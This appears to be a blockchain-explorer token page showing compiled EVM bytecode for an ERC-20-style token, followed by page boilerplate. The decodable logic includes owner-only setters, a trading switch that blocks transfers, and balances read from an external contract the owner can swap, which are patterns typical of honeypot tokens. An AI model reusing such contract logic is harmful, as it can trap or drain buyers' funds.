555050565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109b191906118f7565b92505081905550816109c285610fe0565b6109cc91906118f7565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081610a1984610fe0565b610a23919061192b565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ac391906115bc565b60405180910390a3600190509392505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5d90611826565b60405180910390fd5b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f880f9206040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3d91906117ad565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900460ff1681565b60085481565b60016020528060005260406000206000915090505481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054610ccc90611767565b80601f0160208091040260200160405190810160405280929190818152602001828054610cf890611767565b8015610d455780601f10610d1a57610100808354040283529160200191610d45565b820191906000526020600020905b815481529060010190602001808311610d2857829003601f168201915b505050505081565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ddd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd490611826565b60405180910390fd5b81600881905550806007819055505050565b60075481565b6000600560159054906101000a900460ff16610e1057600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610e7757610e7033848461116c565b9050610f8f565b81610e8133610fe0565b610e8b91906118f7565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081610ed884610fe0565b610ee2919061192b565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f8291906115bc565b60405180910390a3600190505b92915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6002602052816000526040600020602052806000526040600020600091509150505481565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b815260040161103d9190611666565b602060405180830381865afa15801561105a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107e91906117ad565b9050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110c90611826565b60405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600560159054906101000a900460ff1681565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111bd91906118f7565b9250508190555060006111cf836105f8565b9050806111db30610fe0565b6111e5919061192b565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161128591906115bc565b60405180910390a36000818461129b91906118f7565b9050806112a786610fe0565b6112b1919061192b565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006112fe610baa565b9050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481101561134c57600080fd5b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113a991906115bc565b60405180910390a3600193505050509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156113f95780820151818401526020810190506113de565b60008484015250505050565b6000601f19601f8301169050919050565b6000611421826113bf565b61142b81856113ca565b935061143b8185602086016113db565b61144481611405565b840191505092915050565b600060208201905081810360008301526114698184611416565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114a182611476565b9050919050565b6114b181611496565b81146114bc57600080fd5b50565b6000813590506114ce816114a8565b92915050565b6000819050919050565b6114e7816114d4565b81146114f257600080fd5b50565b600081359050611504816114de565b92915050565b6000806040838503121561152157611520611471565b5b600061152f858286016114bf565b9250506020611540858286016114f5565b9150509250929050565b60008115159050919050565b61155f8161154a565b82525050565b600060208201905061157a6000830184611556565b92915050565b60006020828403121561159657611595611471565b5b60006115a4848285016114f5565b91505092915050565b6115b6816114d4565b82525050565b60006020820190506115d160008301846115ad565b92915050565b6000602082840312156115ed576115ec611471565b5b60006115fb848285016114bf565b91505092915050565b60008060006060848603121561161d5761161c611471565b5b600061162b868287016114bf565b935050602061163c868287016114bf565b925050604061164d868287016114f5565b9150509250925092565b61166081611496565b82525050565b600060208201905061167b6000830184611657565b92915050565b600060ff82169050919050565b61169781611681565b82525050565b60006020820190506116b2600083018461168e565b92915050565b600080604083850312156116cf576116ce611471565b5b60006116dd858286016114f5565b92505060206116ee858286016114f5565b9150509250929050565b6000806040838503121561170f5761170e611471565b5b600061171d858286016114bf565b925050602061172e858286016114bf565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061177f57607f821691505b60208210810361179257611791611738565b5b50919050565b6000815190506117a7816114de565b92915050565b6000602082840312156117c3576117c2611471565b5b60006117d184828501611798565b91505092915050565b7f4e6f74206f776e65720000000000000000000000000000000000000000000000600082015250565b60006118106009836113ca565b915061181b826117da565b602082019050919050565b6000602082019050818103600083015261183f81611803565b9050919050565b600060408201905061185b6000830185611657565b61186860208301846115ad565b9392505050565b6118788161154a565b811461188357600080fd5b50565b6000815190506118958161186f565b92915050565b6000602082840312156118b1576118b0611471565b5b60006118bf84828501611886565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611902826114d4565b915061190d836114d4565b9250828203905081811115611925576119246118c8565b5b92915050565b6000611936826114d4565b9150611941836114d4565b9250828201905080821115611959576119586118c8565b5b9291505056fea26469706673582212209c7a59536840516c81c5ad507a4ed2177e4b63b86773dc16cd75d2a73e03828964736f6c63430008130033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.